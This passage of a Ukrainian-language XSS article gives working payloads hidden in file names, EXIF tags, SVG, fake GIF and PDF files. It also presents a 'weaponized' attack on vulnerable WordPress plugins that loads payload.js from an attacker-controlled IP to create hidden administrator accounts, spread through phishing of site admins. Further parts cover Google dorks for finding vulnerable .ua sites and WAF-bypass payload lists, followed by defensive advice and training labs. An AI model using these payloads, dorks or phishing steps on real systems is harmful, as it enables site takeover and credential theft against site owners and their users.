І завантажує його через форму на сайті. Сервер не обробляє назву файлу і XSS-пейлоад виконується:

Чим це небезпечно? Якщо сервер не обробляє імена файлів, зловмисник може завантажити файл з більш серйозним шкідливим кодом та завантажити шкідливе програмне забезпечення й добитись повної компрометації системи.

2. XSS через метадані файлу зображення (image metadata)

Хакер знаходить вразливий онлайн-сервіс з аналізом EXIF-даних зображень, який заснований на застарілому Apache-сервері з формою завантаженням файлів зображень. Метадані зображень не перевіряються і не очищуються, що дозволяє проексплуатувати XSS.

Дана атака реалізується через метатеги EXIF, які присутні у кожному файлі зображення. Їх можна відредагувати, чим і користається хакер. З допомогою утиліти exiftool він додає XSS-пейлоад в тег Artist, наприклад:

exiftool -Artist="<script>alert('xss_by_cr0n')</script>" imagexss.jpg

Підказка: Можна також скористатися автоматизованим скриптом, який додасть пейлоад у всі EXIF-теги зображення.

Далі хакер переходить на вразливий сайт і завантажує шкідливе зображення. Сервер читає EXIF-дані, але не обробляє їх, не блокує шкідливий код у них, а натомість виконує його:

👉 Приклади готових зображень з XSS-пейлоадами можна знайти тут.

3. XSS через SVG

SVG-файли (Scalable Vector Graphics) — це формат графічних зображень на основі XML, які можуть містити як статичні зображення, так і інтерактивний контент, включаючи JavaScript. Це робить їх потенційно вразливими для XSS-атак, якщо сервер дозволяє завантаження SVG-файлів без перевірки їх вмісту.

Хакер створює шкідливий SVG-файл з XSS-пейлоадом:

<svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.domain)"/>

Потім завантажує його на сервер і відкриває зображення. Файл виконується і спрацьовує скрипт:

👉 Приклади готових шкідливих SVG: 1, 2, 3.

4. XSS через GIF magic byte

Аналогічно попереднім випадкам, хакер знаходить вразливий сайт з формою завантаження зображень. Він відкриває редактор коду (vim, nano або vscode) і створює новий файл з XSS-пейлоадом. Щоб цей файл розпізнавався цільовою системою як GIF-зображення, додає на сам початок сигнатуру GIF89a (magic byte), наприклад:

Додатково можна перевірити валідність файлу командами:

cat xsss222.gif
file xsss222.gif

А також відкрити у будь-якому HEX-редакторі:

Тепер хакер просто завантажує фальшивий GIF-файл і отримує XSS.

У випадку проблем, можна перевірити чи правильно розпізнає MIME-тип (Content-Type) браузер, виконавши команду:

curl -I http://example.com/uploads/xsss222.gif

Як бачимо, у відповідь сервер прислав заголовки, в якому Сontent-Type визначено коректно і відповідає формату підробленого зображення image/gif:

👉 Приклад готового XSS.gif.

В теорії подібним чином через magic byte можна підробити будь-який файл, і не тільки зображення. Тому що на основі сигнатури браузер визначає MIME-тип завантажуваного об’єкта. Ось повний список сигнатур.

Варто додати, що ця атака з кожним днем все менш актуальна, оскільки дедалі менше серверів залишають файли необробленими, перевіряючи вміст та очищаючи заголовки зображень. Проте, для таких випадків існує спеціальний скрипт, призначений для обходу захисних систем.

4. XSS через PDF

PDF-файл також може бути носієм XSS-атаки. Достатньо просто створити файл в редакторі коду з наступним змістом:

%PDF-1.3
%
1 0 obj
<</Pages 2 0 R /Type /Catalog>>
endobj
2 0 obj
<</Count 1 /Kids [3 0 R] /Type /Pages>>
endobj
3 0 obj
<</AA
<</O
<</JS
(
try {
app.alert\("Hacked by Cr0n"\)
} catch \(e\) {
app.alert\(e.message\);
}
)
/S /JavaScript>>>>
/Annots [] /Contents 4 0 R /MediaBox [0 0 612 792] /Parent 2 0 R
/Resources
<</Font <</F1 <</BaseFont /Helvetica /Subtype /Type1 /Type /Font>>>>>>
/Type /Page>>
endobj
4 0 obj
<</Length 21>>
stream

BT
/F1 24 Tf
ET

endstream
endobj
xref
0 5
0000000000 65535 f
0000000015 00000 n
0000000062 00000 n
0000000117 00000 n
0000000424 00000 n
trailer

<</Root 1 0 R /Size 5>>
startxref
493
%%EOF

Зберігаємо файл як .pdf і завантажуємо на сайт. Повинне з’явитися заповітне віконечко:

Атака №6. Злам WordPress через Weaponized Blind XSS

Варіант №1

У цьому прикладі ми будемо використовувати техніку озброєних XSS (Weaponized XSS). Вона полягає в тому, що хакер може розробити складний JS-скрипт і помістити його в окремий файл на власному сервері, наприклад payload.js. І вже через параметр URL викликати його через пейлоад, наприклад:

<script type="text/javascript" src="http://XX.XX.XXX.XXX"></script> 

У даному випадку розглянемо атаку на WordPress, в результаті чого хакер отримає несанкціонований доступ. 

Отже, атакуючий парсить інтернет і знаходить вразливий сайт на CMS WordPress, який використовує застарілий плагін All-in-One SEO Pack 2.3.6.1. Він реалізує функцію блокування пошукових спам-ботів “Bad Bot Blocker”, яка вразлива до міжсайтових сценаріїв XSS.

Вразливість дозволяє надсилати через HTTP-заголовок User-Agent або Referrer шкідливе навантаження XSS. При цьому на сайті повинна бути увімкненою опція “Block Bad Bots using HTTP” і/або “Block Referral Spam using HTTP” у налаштуваннях плагіна All-in-One SEO, які за замовчуванням відключені.

Отже, хакер з допомогою Burp Suite (Repeater) формує GET-запит і відправляє його на сайт жертви:

Як бачимо із заголовків, хакер замість стандартного пейлоаду використав “озброєний” JS-скрипт (payload.js), розгорнутий на своєму сервері, який являє собою експлойт для створення нового адміністратора на сайті. До прикладу, ось його код:

Система WordPress з допомогою плагіна All-in-One SEO розпізнала цей запит як запит бота – надіславши код відповіді 503, зберігши при цьому дані про цей запит в журналі.

Як тільки адміністратор сайту відкриє сторінку налаштування “Block Bad Bots” – скрипт виконається і експлойт вступить в дію. На сайті з’явиться новий обліковий запис з правами Адміністратора:

Ось таким чином, використовуючи вразливості XSS, зловмисники щодня зламують десятки і сотні сайтів на базі CMS WordPress.

Варіант №2

Цей приклад по суті аналогічний попередньому, теж націлений на WordPress, однак працює на базі дещо модифікованого, вдосконаленого пейлоада і реалізується через інший URL-пейлоад. Мені вдалося його проексплуатувати через вразливість Yoast SEO < 22.6 – Authentificated Reflected Cross-Site Scripting (CVE-2024-4041).

Отже, сценарій атаки наступний:

1) Хакер через кіберпошукові системи Shodan, PublicWWW або Google Dorks парсить сайти на базі WordPress версії 6.6.2 (і менше) з плагіном Yoast 22.4 на борту.

2) На власному сервері він розгортає шкідливий JavaScript файл, наприклад payload.js, який містить функцію прихованого створення нового користувача WordPress з правами адміністратора. Він реалізовується через XMLHttpRequest, що створює GET-запит до /wp-admin/user-new.php, витягує CSRF-токен  _wpnonce й надсилає POST-запит для створення нового адміністратора:

👉 Ознайомитись з повним кодом в нашому репозиторії GitHub>>

2) Далі хакер проводить велику фішингову кампанію по всім електронним адресам адміністраторів вразливих сайтів, заховавши в анкор або через сервіс коротких посилань (шортлінків) URL-посилання з XSS-пейлоадом. Застосовуючи техніки соціальної інженерії він закликає перейти по ньому:

http://target.com/?page=" onmouseover="var script = document.createElement('script'); script.src = 'http://XX.XX.XX.XX/payload.js'; document.head.appendChild(script);

3) Адміністратор сайту відкриває листа і переходить за посиланням. Щоб скрипт виконався, необхідна 1 умова – адміністратор повинен відкрити випадаюче топ-меню Yoast SEO:

Скрипт виконається в фоновому режимі – зовні жодних дій не відбудеться,  зате на сайті приховано створюється ще один обліковий запис з правами адміністратора. При цьому варто зазначити, що адміністратор повинен бути залогінений в системі, інакше атака не пройде.

4) Хакер перевіряє логи вхідних запитів на своєму сервері і бачить, що сайт жертви встановив HTTP/GET-з’єднання до файлу payload.js. Тепер він просто входить на сайт жертви, використовуючи credentials (логін/пароль) свіжоствореного шпигунського облікового запису.

👉 Більше Weaponized XSS скриптів тут і тут.

***

Як бачимо, XSS – це значно небезпечніше, ніж просто спливаюче вікно. Давайте підсумуємо до чого приводить наявність міжсайтового скриптингу:

  • Несанкціонований доступ до облікових записів і керування системою. Створення з допомогою XSS облікових записів з правами адміністратора, зміна системних налаштувань. Виконання різноманітних дій від імені користувача або адміністратора. 
  • Крадіжка файлів cookie. Зловмисник може отримати доступ до файлів cookie жертви (наприклад, сесійні cookie) та надіслати їх на свій сервер. Це дозволить зловмиснику викрасти сесію користувача і, можливо, увійти в обліковий запис жертви на сайті.
  • Викрадення даних введення форм. Введені на сайті користувачем дані можуть бути перехоплені через XSS. Зловмисник може через шкідливий скрипт інтегрувати стилер або кейлогер, що приведе до витоку конфіденційних даних (логіни, паролі, пін-коди, платіжні картки тощо).
  • Крадіжка даних через знімки екрану. Застосовучи просунуті функції XSS, хакер може також робити знімки екрану в веб-додатку для отримання чутливої інформації.
  • Крадіжка контенту. Аналогічно, через XSS можна отримати вихідний код будь-якого веб-додатку, крадучи таким чином приватний контент.
  • Крадіжка даних браузера.  Через вразливість XSS можна отримати конфіденційні дані браузера жертви, такі як sessionStorage і localStorage, і навіть дистанційн керувати браузером, виконуючи команди JavaScript.
  • Reverse Shell. XSS-вразливості дуже часто здатні перерости в віддалене виконання коду RCE.
  • Фішинг. Зловмисник може використати XSS для зміни вмісту сторінки та показу фальшивих форм для введення конфіденційних даних (наприклад, пароля або банківських даних).
  • Перенаправлення на шкідливий сайт. Зловмисник може перенаправити користувача на фальшивий сайт для проведення подальших атак (фішинг, завантаження шкідливого ПЗ і ін.).
  • Автоматичне виконання дій від імені користувача. Зловмисник може змусити браузер жертви виконати певні дії (наприклад, надіслати форму або натиснути на кнопку), використовуючи DOM-маніпуляції.
  • Зміна контенту, deface.  Зміна зовнішнього вигляду сайту або вмісту.
  • Clickjacking. Обман користувачів через приховані або підмінені елементи інтерфейсу, наприклад, підроблені посилання.
  • Виконання CSRF атак. XSS використовується для обходу механізмів захисту від підробки запитів.
  • Виконання SQLi атак. Зловмисник може використати XSS для виконання SQL-ін’єкцій.

Де і як шукати та знаходити XSS-вразливості?

Методологія виявлення XSS

XSS-вразливості зазвичай з’являються в тих місцях, де користувачам дозволено вводити або завантажувати свої дані без належної перевірки на сервері. Основними об’єктами для вразливостей стають динамічні веб-сторінки та різні інтерактивні елементи сайтів.

Частими цілями атак стають інтернет-магазини, дошки оголошень, форуми та CMS із застарілими компонентами. Нижче наведено найпоширеніші точки для експлуатації вразливостей.

  • Веб-елементи, об’єкти:
    • Форма пошуку;
    • Форма додавання коментарів;
    • Форма додавання відгуків;
    • Форма додавання оголошення;
    • Форма заявок і замовлень;
    • Форма зворотного зв’язку;
    • Форма передзвонити;
    • Форма підписки;
    • Форма авторизації;
    • Форма реєстрації;
    • Галерея зображень;
    • Лістинг товарів;
    • Кнопки;
    • Випадаючі списки, дропдауни, чекбокси;
    • Чати (онлайн-чати, онлайн-асистенти).
  • HTML-теги, атрибути, обробники подій: Як вже згадувалося вище, шкідливий код XSS може бути впроваджений у будь-яку частину тіла веб-сайту. Тому уважно перевіряйте і тестуйте вихідний код на наявність будь-яких слабких точок.
  • URL-параметри (GET-запити): Параметри передані через URL (GET-запити) часто бувають вразливими до XSS-атак. Якщо хакер зможе передати шкідливий код через URL-параметр, то він виконається у браузері користувача при завантаженні сторінки. Збирайте динамічні URL і експлуатуйте їх з допомогою автоматизованих інструментів виявлення XSS (див. нижче).
  • Параметри форм (POST-запити): Різноманітні форми на сайті можуть бути вразливими, якщо пропускають дані без належної перевірки. Особливо це стосується форм завантаження файлів (документів / зображень). До прикладу, у завантажений файл (GIF/SVG/PNG/JPEG) можна вкласти корисне навантаження XSS й таким чином проексплуатувати вразливість. Експерементуйте з підміною Content Type (MIME). Сробуйте вкласти XSS-навантаження у назву файлу, який ви завантажуєте.
  • HTTP заголовки (User-Agent, Referer): Якщо вони не фільтруються належним чином, можна спробувати підставити шкідливі пейлоади, що може призвести до виконання XSS.

👉 Рекомендуємо прочитати: Wordfence: How To Find XSS (Cross-Site Scripting) Vulnerabilities in WordPress Plugins and Themes

Google Dorks

Для пошуку вразливих сайтів та веб-сторінок в інтернеті можна скористатись пошуковими операторами Google Dorks:

  • inurl:search.php?q=
  • site:*.ua ext:php
  • site:*.ua inurl:"/search?q="
  • inurl:search.php?q= intitle:university
  • inurl:q= | inurl:s= | inurl:search= | inurl:query= | inurl:keyword= | inurl:lang= inurl:& site:example.com
  • inurl:redirect.php?url=
  • inurl:redirect_uri=
  • inurl:?redirect_to=
  • inurl:"/?dest="
  • inurl:"/index.php?name="
  • inurl:/news.php?id=
  • inurl:"contentPage.php?id="
  • inurl:".php?author="
  • inurl:".php?cat="
  • inurl:".php?cmd="
  • inurl:".php?feedback="
  • inurl:".php?file=" site:*.ua
  • inurl:".php?from=" site:*.ua
  • inurl:".php?keyword=” site:*.ua
  • inurl:".php?mail=" site:*.ua
  • inurl:".php?q=" site:*.ua
  • inurl:".php?query=" site:*.ua
  • inurl:".php?search=" site:*.ua
  • inurl:".php?searchstring=” site:*.ua
  • inurl:".php?tag=" site:*.ua
  • inurl:".php?txt=" site:*.ua
  • inurl:".php?vote=" site:*.ua
  • inurl:".php?years=" site:*.ua
  • inurl:/search_results.php?search=
  • inurl:index.php?option=com inurl:Itemid= -intext:Joomla
  • inurl:/webmail/ intext:Powered by IceWarp Server
  • site:openbugbounty.org intext:XSS (Cross Site Scripting)
  • site:hackerone.com intext:javascript:alert
  • site:exploit-db.com intitle:xss
  • site:*.ua inurl:upload image
  • site:*.ua intext:"вибрати файл" intitle:замовити
  • site:*.ua intext:"додати відгук"
  • site:*.ua intext:"залишити відгук"

Автоматизовані інструменти

Для пошуку та експлуатації XSS-уразливостей на досліджуваних сайтах можна використовувати автоматизовані інструменти та сервіси. Ось деякі з них:

Краулери і фаззери

Аналізатори і тестувальники

Cканери вразливостей

Додатки BurpSuite

Додатки Firefox

Додатки Chrome

Допоміжні онлайн-сервіси

Платформи для просунутої експлуатації XSS

👉 Команди автоматизації пошуку XSS з допомогою різних утиліт>>

Як обійти захист: фільтрація і блокування WAF при проведенні XSS-атак

При здійсненні XSS-атак дуже важливим є уміння обійти існуючий захист, знайти в його механізмах точки компрометації, зламати логіку системи. Нижче описані поширені способи, які будуть ефективними для успішного проведення пентестів.

  • Вихід за межі структури тегів. Часто XSS-пейлоад потрапляє між тегами, які допускають лише текст у собі (<h1>, <title>, <textarea>, <input>). У такому випадку треба вивчати структуру документа і експерементувати з лапками (одинарні/подвійні) й тегами, наприклад застосовувати закриваючі теги у пейлоаді або інші способи виходу із тегів/атрибутів:
    • </textarea><script>alert('1');</script>
    • ‘`”//><script>alert('1');</script>
    • "><script>alert('XSS')</script>
    • --><script>alert(/XSS/)</script>
    • "autofocus onfocus="alert('XSS')
    • '"autofocus onfocus="alert('XSS')
  • Використання поліглотів (Polyglot Payloads). Ці корисні навантаження призначені для виконання незалежно від того, чи обробляються вони як HTML, JavaScript або інша мова сценаріїв. Поліглоти поєднують елементи різних форматів або мов одночасно, що дозволяє їм обходити фільтри та багаторівневі захисти й виконувати шкідливий код у різних контекстах:
    • <script>/*</script><svg onload=alert(1)>*/
    • jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e
    • jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e
  • URL-кодування Percent Encoding. Це стандартний формат кодування, який використовується в URL-адресах для передачі спеціальних символів, які не можуть бути безпосередньо включені у URL, або можуть мати спеціальне значення. Percent encoding здійснює базову обфускацію – замінює спеціальні символи на їхні ASCII значення в шістнадцятковій системі з префіксом %. Наприклад, пробіл кодується як %20; двійні лапки (") — %22; апостроф (') — %27; символ амперсанда (&) — %26; символ рівняння (=) — %3D і так далі.
  • Кодування RFC 1738. Кодування XSS-пейлоадів у форматі RFC 1738 (Uniform Resource Locators, або URL-кодування) є однією з технік обходу захисних механізмів. RFC 1738 описує стандарт для URL-кодування, яке використовує відсоткове кодування для представлення спеціальних символів у URL-адресах. У цьому форматі символи, що не можуть бути безпосередньо включені в URL, кодуються за допомогою символа % і двох шестнадцяткових цифр.
    Наприклад:
    • < кодується як %3C
    • > кодується як %3E
    • ' кодується як %27
    • " кодується як %22
    • & кодується як %26
  • Кодування HTML Entities. HTML Entities — це спеціальні символи, які використовуються для кодування певних символів у HTML, що можуть мати спеціальне значення (наприклад, <, >, ", '). Замість використання цих символів безпосередньо, вони замінюються на коди:
    • < кодується як &lt;
    • > кодується як &gt;
    • " кодується як &quot;
    • ' кодується як &#x27; або &#39;
    • & кодується як &amp;
  • Таким чином можна замінити небезпечні символи на їх HTML-еквіваленти, щоб обійти фільтри WAF. Наприклад, класична ін’єкція XSS <script>alert('XSS')</script> може бути закодована в &lt;script&gt;alert(&#39;XSS&#39;)&lt;/script&gt;.
  • Використання альтернативних тегів, функцій, атрибутів (WAF Bypass). У випадках, коли стандартні теги, функці і атрибути, такі як <script> або alert() блокуються правилами фаєрволів, можна спробувати використати альтернативні. Наприклад: confirm(), prompt(),<marquee>, <meter> та інші:
    • <marquee onstart="confirm(1)">Text</marquee>
    • <meter onmouseover="alert(1)"
    • '">><div><meter onmouseover="alert(1)"</div>"
    • <marquee loop=1 width=0 onfinish=alert(1)>
    • \');confirm(1);//
  • Обхід словника фаєрвола (WAF Bypass). Деякі фаєрволи банально зіставляють XSS по словникам. Якщо працює фільтрація по слову “script”, то тоді треба використовувати хитрощі. Наприклад, замінити певні літери з нижнього на верхній регістр: <sСript>alert('1');</sСript>. Все зводиться до того, щоб банально вийти за межі логіки фаєрвола. Інколи буває так, що WAF просто вилучає слова “script” з навантаження, а отже не дає скрипту виконатись. В такому разі треба обхитрити систему, наприклад вставити пейлоад такого типу: <sscriptcript>alert('1');</sscriptcript>. Система видалить слово script, але залишаться літери які з’єднаються і утворять його знову. Можна  також використовувати більш креативні варіанти обходу фільтрації по словам, наприклад: <scr<script>ipt>alert('XSS')</scr<script>ipt>.
  • Розділення корисного навантаження (Payload Splitting). Суть методу полягає в тому, що шкідливий код розділяється на кілька частин, які окремо можуть не викликати підозри у WAF, але після збирання у браузері цей код стає повністю працездатним. Наприклад:
    <img src='1' onerror='ja'+'vascript:alert(1)'>.
  • Маніпуляції з HTTP-заголовками. Ще один спосіб як обійти захист WAF. Маніпулюючи чи вставляючи заголовки нестандартним способом, зловмисник може обійти процес перевірки WAF.
    Наприклад:
    • X-Forwarded-For: '><script>alert(1)</script>
    • User-Agent: %3Cscript%3Ealert%281%29%3C/script%3E
    • Referer: <script>alert('XSS')</script>
    • Set-Cookie: x=jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//

Енкодери XSS:

👉 Дивитись приклади обходу популярних WAF в нас на GitHub>>

Як захистити веб-сайт від XSS-атак?

  • Фільтрація, валідація, санітизація (очищення) будь-яких вхідних даних. Зокрема GET/POST запитів, які відправляються на сайт. Застосовуйте політики і правила блокування для своїх фарєволів. Моніторте трафік і обмежуйте кількість одночасних запитів до веб-сторінки. Використовуйте серверні і зовнішні мережеві екрани. Наприклад: CSF, IPtables, Fail2ban, WAF Cloudflare, Wordfence і т.д.
  • Екранування небезпечних символів. Допоможе запобігти виконанню довільних JavaScipt сценаріїв в тілі сторінки. Особливу увагу слід приділити екрануванню таких символів як: <,>,',",&,/,\. Не зайвим буде створити білі та чорні списки дозволених символів для введення користувачами. Коли небезпечні символи екрануються, браузер відображає їх просто як текст, а не як частину коду.
  • Застосування стандартів і вимог безпечного написання коду. Девелопери повинні дотримуватись безпечного життєвого циклу створення програмного забезпечення  Secure (Safe) Software Development Lifecycle (SSDL). Уникайте небезпечних функцій в коді, таких як: innerHTML, outerHTML, document.write та інші. Натомість застосовуйте ті, які перевіряють та шифрують дані: escapeHtml(), htmlspecialchars(), encodeURIComponent() та інші.
  • Обмеження довжини рядка текстових полів. Допомагає запобігти атакам, пов’язаним із введенням занадто великих або шкідливих даних.
  • Перевірка завантажених файлів. Якщо на сайті є будь-які форми завантаження файлів (документів чи зображень) – налаштуйте їх постобробку з перейменуванням та очисткою метаданих, збереженням в окрему захищену директорію. Таким чином вдасться захиститись не тільки від XSS, а й від суміжних атак: File Upload Attack, File Inclusion, RCE.
  • Заборона завантаження виконуваних і потенційно вразливих файлів. Сюди відноситься php, *ph*, js, py, perl, rb, exe, bat, cmd, zip, rar, svg та інші, оскільки ці файли можуть містити шкідливий код або виконувати небезпечні операції, які загрожують безпеці серверу та користувачів
  • Оновлення програмного забезпечення. Застосовуйте програмні компоненти, сервіси, бібліотеки останніх версій. Зокрема:
    • Оновлюйте jQuery. Як показує практика, більшість старих версій jQuery вразливі до XSS і створюють спиятливе середовище для атак.
    • Оновлюйте PHP. У нових версіях PHP покращено механізми обробки введених даних і усунено небезпечні функції, які раніше сприяли XSS, SQL Injection та іншим вразливостям.
  • Стандарт CORS (Сross Origin Resource Shared). Створений у 2006 році Всесвітнім Інтернет-Консорціумом (World Wide Web Consortium, W3C) та остаточно прийнятий світовою спільнотою у 2014-му. CORS контролює міждоменні запити і повинен бути суворо налаштований, щоб обмежити доступ до неперевірених походжень. Налаштовується шляхом додавання заголовків у код відповіді сервера:
    • Access-Control-Allow-Origin
    • Access-Control-Allow-Headers
    • Access-Control-Allow-Methods
    • Access-Control-Allow-Credentials
  • HTTP-заголовки безпеки. Запобігають маніпуляціям з HTTP-запитами та підвищують безпеку веб-додатків. Особливу увагу варто приділити заголовкам Content Security Policy (CSP), X-XSS-Protection, Referrer-Policy. Детальніше в OWASP Secure Headers Project.
  • Захист сookie з допомогою атрибутів HTTPOnly, Secure і SameSite. Вони гарантують, що зловмисники не зможуть викрасти сесійні токени або інші конфіденційні файли cookie через JavaScript (document.cookie).
  • CSRF-токени безпеки. Це один з ефективних методів захисту від атак типу CSRF (Cross-Site Request Forgery). Такі атаки дозволяють зловмиснику відправляти шкідливі запити від імені користувача, змушуючи браузер виконати небажані дії на довіреному сайті, на якому користувач авторизований.
  • Антибот система Captcha. Запобігає автоматичному введенню даних в онлайн-форми. Обмежує кількість автоматизованих спроб підбору паролів при атаках грубої сили на сторінках авторизації.
  • Чітка і грамотна DOM-структура. Уникайте надто складної і заплутаної DOM-структури в коді сайту. Це покращує продуктивність і безпеку веб-додатка.
  • Не використовувати самописні модулі і елементи, кастомні інтеграції та системи. Особливо це стосується будь-яких елементів, які оперують платіжними даними. Наприклад, самописні віджети, iframe на базі JavaScript можуть бути вразлими до кейлогерів, які зчитують введення з клавіатури. Для здійснення транзакцій на сайті необхідно використовувати лише платіжні системи, які відповідають стандарту безпеки PCI-DSS.
  • Регулярний аудит і пентест. Проводьте регулярне тестування на проникнення і аудит безпеки вихідного коду, щоб виявити потенційні проблеми та вектори загроз.

👉 Більше порад на GitHub>>

Як захиститись від XSS звичайному користувачу?

  • Використовуйте складні та різні паролі для різних акаунтів;
  • Використовуйте сучасні та надійні браузери, наприклад: Brave Browser, Mullvad Browser, Vivaldi Browser, Mozilla Firefox;
  • Завжди перевіряйте URL-посилання, які отримуєте від когось. Ігноруйте будь-які заклики до дії від незнайомих людей: натиснути, відправити, завантажити і т.д.;
  • Звертайте увагу на легітимність і авторитетність сайтів, на яких реєструєтесь, відвідуєте, публікуєте щось. Ось стаття про виявлення та знешкодження шкідливих доменів;
  • Встановіть у своєму браузері плагін noScript – він вимикає JavaScript на веб-сторінках. Ви можете створити білі і чорні списки правил для різних сайтів;
  • Використовуйте надійний VPN для шифрування трафіку.

👉 Читайте також: Поради безпеки в інтернеті для користувачів

Полігони і онлайн-майданчики для тестування / навчання XSS

Існує кілька спеціальних полігонів та тестових середовищ для вивчення і тестування XSS-атак. Вони дозволяють безпечно експериментувати з вразливостями, не наражаючи на небезпеку реальні системи. Ось популярні полігони для тестування XSS:

  • Damn Vulnerable Web Application (DVWA) — це веб-додаток PHP / MySQL, який страшенно вразливий. Його головні цілі – допомогти фахівцям з безпеки перевірити свої навички та інструменти у правовому середовищі, допомогти веб-розробникам краще розуміти процеси безпеки веб-додатків. Маст-хев. Доступ: admin:password
  • bWAPP — у цьому веб-додатку знайдете понад 100 поширених проблем безпеки, описаних у OWASP Top 10. Маст-хев. Доступ: bee:bug
  • OWASP Juice Shop Project — це веб-додаток для практики. У нього входить вся перша десятка у списку OWASP та багато інших серйозних дірок безпеки, включаючи різні види XSS.
  • Acunetix Vulnerability Web Application — набір вразливих веб-додатів для практики від компанії Acunetix.
  • TryHackMe — це один з кращих онлайн-майданчиків для відточення навичок з кібербезпеки. Представляє велику кількість навчальних програм, кімнат, машин для практики з XSS. Дуже хороша теоретична база, яка може замінити реальну освіту.
  • Port Swigger Web Security Academy — навчальна програма і платформа від засновників BurpSuite. Робочі практичні завдання. Сертифікація BSCP. Після проходження ви зможете легко знаходити XSS і станете впевненим пентестерером.
  • XSSChallengeWiki — підбірка різноманітних головоломок з XSS.
  • XSSY — онлайн-платформа для тестування і навчання XSS.
  • XSS Game — гра для вивчення і застосування простих XSS. Містить 6 рівнів. На першому Level 1 пропонують для вказаної веб-сторінки застосувати XSS payload з функцією JavaScript alert (). Можна натиснути на напис “Hints”, щоб скористатися підказками. Як тільки XSS-ін’єкція успішно виконається – ви переходите на наступний рівень.
  • alert(1) to win — онлайн-гра для виявлення XSS з використанням функціїї JS alert.
  •  — ще одна простенька онлайн-гра для виявлення XSS.

Додаткові джерела і посилання в інтернеті

  1. B.B.Gupta. Cross-Site Scripting Attacks: Classification, Attack, and Countermeasures [pdf]
  2. Garet Heyes. JavaScript for Hackers. Learn to think like a hacker (українське видання) [pdf]
  3. Jeremiah Grossman. XSS Attacks [pdf]
  4. Amit Klein. Cross Site Scripting Explained [pdf]
  5. David Flanagan. JavaScript: The Defenitive Guide [pdf]
  6. Ber Bibeault. jQuery in action [pdf]
  7. OWASP. Cross Site Scripting
  8. OWASP. Dom Based XSS
  9. OWASP. XSS Filter Evasion Cheat Sheet
  10. OWASP Cheatsheet Series on GitHub
  11. OWASP. Unrestricted File Upload
  12. OWASP File Upload Cheatsheet
  13. OWASP. Content Security Policy Cheatsheet
  14. Brutelogic. XSS101.
  15. Actual XSS in 2020
  16. Beyond XSS: Explore the Web Front-end Security Universe
  17. XSS Mindmap
  18. TOP 100 XSS Dorks
  19. PayloadsAllTheThings / XSS Injection
  20. XSS RAW Payloads
  21. XSS Dorks
  22. XSS Vectors
  23. A collection of XSS Attack vectors
  24. Reddit /xss
  25. PortSwigger. Cross-site scripting (XSS) cheat sheet
  26. PortSwigger. Using Burp to Find Cross-Site Scripting Issues
  27. PortSwigger. Fuzzing for vulnerabilities
  28. PortSwigger. Finding DOM Polyglot XSS in PayPal the Easy Way
  29. PortSwigger. Introducing DOM Invader: DOM XSS just got a whole lot easier to find
  30. @XssPayloads
  31. Automation XSS/SQLi Guide
  32. Google Dorks for Cross Site Scripting
  33. Unleashing an Ultimate XSS Polyglot
  34. bWAPP Walkthrough Video
  35. XSS-BWAPP-SOLUTION
  36. HackerOne. How to find XSS
  37. HackeOne. How a Cross-Site Scripting Vulnerability Led to Account Takeover
  38. HackerOne. Reflected Cross Site Scripting to XSS Shell Possible
  39. HackerOne. How XSS Payloads Work with Code Examples, and How to Prevent Them
  40. HackerOne. XSS Stored via Upload avatar PNG [HTML] File in accounts.shopify.com
  41. HackerOne. Common Ecommerce Vulnerabilities: Reflected XSS
  42. Patchstack. Cross-Site Scripting (XSS)
  43. GitHub. Awesome XSS
  44. Brutelogic. XSS Guide
  45. Brutelogic. Payload Generator
  46. Brutelogic. File Upload XSS
  47. Brutelogic. Agnostic Event Handler
  48. Brutelogic. XSS Without Event Handler
  49. Brutelogic. Building Polyglots
  50. Youtube. Brutelogic. The Genesis of an XSS Worm
  51. Exploiting XSS with Javascript/JPEG Polyglot
  52. Sekurak. Kilka słów o podatności XSS oraz polyglot XSS
  53. [FUN] Bypass XSS Detection WAF
  54. ha.ckers. XSS (Cross Site Scripting) Cheat Sheet
  55. DOM Based Cross Site Scripting or XSS of the Third Kind
  56. Finding the Source of a DOM-based XSS Vulnerability with Acunetix
  57. Tiny XSS Payloads
  58. Unleashing an Ultimate XSS Polyglot
  59. InfoSec Write-ups. How I Found Multiple XSS Vulnerabilities Using Unknown Techniques
  60. Websecurity. Генератор XSS
  61. HackTricks. XSS
  62. HackTricks. DOM XSS
  63. HackTricks. 403 and 401 bypasses.
  64. PentestEverything. XSS
  65. Google Dorks for Cross Site Scripting
  66. WordPress XSS Attack (Cross Site Scripting) Protection [2024]
  67. HITH Blog. XSS Cheat Sheet
  68. Youtube. Intigriti. How To Search For DOM-Based XSS!
  69. Youtube. The Age of Universal XSS
  70. Youtube. The Origin of Cross-Site Scripting (XSS) – Hacker Etymology
  71. Youtube. Cross-Site Scripting (XSS) vulnerability on NASA
  72. Youtube. Stored XSS on Alibaba alicdn.com Via File Upload
  73. W3C. Cross Site Scripting
  74. Cgisecurity. The Cross-Site Scripting (XSS) FAQ
  75. CIA Hackers Study Achievements of Legendary Bulgarian Georgi Guninski
  76. DOMSDAY. Analyzing a Dom-Based XSS in Yahoo!
  77. Payatu. How DOM-based Cross-Site Scripting (XSS) Attack Works
  78. DOMXSSWiki
  79. Wordfence. How to Prevent Cross Site Scripting Attacks
  80. Damne Vulnerable WordPress (DVW)
  81. Damne Vulnerable Web Application (DVWA)
  82. Tenable. Cross-Site Scripting vulnerabilities in Multiple WordPress Plugins
  83. GitHub. XSS Keylogger on Node.js.
  84. GitHub. XSS Keylogger via websockets.
  85. GitHub. JavaScript Keylogger
  86. XSS Keylogger Short Tutorial.
  87. GitHub. Reflected XSS Key Logger.
  88. OpenBugBounty. How do you use an xss as a keylogger ?
  89. How I Used Keylogger XSS to Capture Credentials Leading to ATO
  90. XSS-Keylogger.py 1.0
  91. YesWeHack. Exploring JavaScript’s exploits: A deep dive into XSS vulnerabilities
  92. Johnermac. Cross-site scripting (XSS)
  93. From unauthenticated stored XSS to RCE
  94. Hacking Articles. Cross Site Scripting Exploitation
  95. File Upload Vulnerability Checklist
  96. Wikipedia. List of signatures
  97. Exploit-DB. Cross Site Scripting – Attack and Defense guide
